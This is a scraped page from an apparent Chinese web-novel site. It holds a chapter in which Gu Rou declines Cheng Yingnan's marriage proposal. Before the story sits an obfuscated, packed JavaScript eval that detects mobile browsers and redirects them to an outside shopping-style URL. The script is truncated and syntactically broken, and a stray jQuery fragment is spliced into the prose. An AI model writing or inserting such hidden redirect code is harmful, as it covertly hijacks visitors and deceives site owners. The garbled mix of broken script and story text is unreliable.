;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096282|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我接到你的电话时,心情有多澎湃吗?我高兴疯了,我甚至连我们的孩子的名字,我都想好了。” “柔柔,我爱你,这份爱在这十年间,从来没有停止过,我要留在华城,照顾你,照顾我妈,我不想去国外漂泊了,我觉得以我的能力,我一定还会赚很多的钱,一定会把你养得很好。” “柔柔,答应我,嫁给我好吗?” 程应南的话,实在是令人感动。 在场所有的人,都红了眼眶。 唯独顾柔是清醒的。 婚姻和爱情不一样。 程应南和王梹也不同。 她自己很清楚,她是一个什么样的人,她要的是一个什么样的男人。 程应南爱她没错。 她对他也没有忘却旧情,也没错。 但如果,哪天,他的工作不顺利,他会不会怪她? 把所有的不顺利,全怪到他为了她留在华城这件事情上? 这是她无法承受的。 “为什么要回华城,在国内,你没有人脉,没有名望,你甚至在短时间内,很难接到一场官司,你的同事,是否愿意跟到一个陌生的国家?程应南,这些你都想清楚了吗?” 程应南点头。 他想得很清楚。 大不了从头开始。 大不了,一切归零。 他不想让自己再留下遗憾了。 “柔柔,我是个男人,我可以很快适应一个新的环境,而且,华城是我的家,人脉我还是有的,你也别担心我没有工作,一定会很快走下正轨。” 顾柔还是摇头。 她没有要接受,这浪漫的求婚,“应南,我还没有想清楚,我觉得你也还没有想清楚,我们需要时间,好好想清楚这件事情,再来决定,是不是要走到一起。” 顾柔拒绝了。 她转身上了楼。 跪在地上的程应南,面色沮丧。 顾长青觉得自己在这儿,程应南更加难堪,便也起身离开了客厅。 顾临走到程应南身边,将他扶了起来,“表哥,我姐现在就是有点……情绪上不稳定,等她想清楚了,一定会答应你的,毕竟你们都有孩……” 叶棠抬手将他的嘴捂住,声音从牙缝里透出,“……你嘴咋那么快呢,你能不能给你的嘴,上条拉锁?”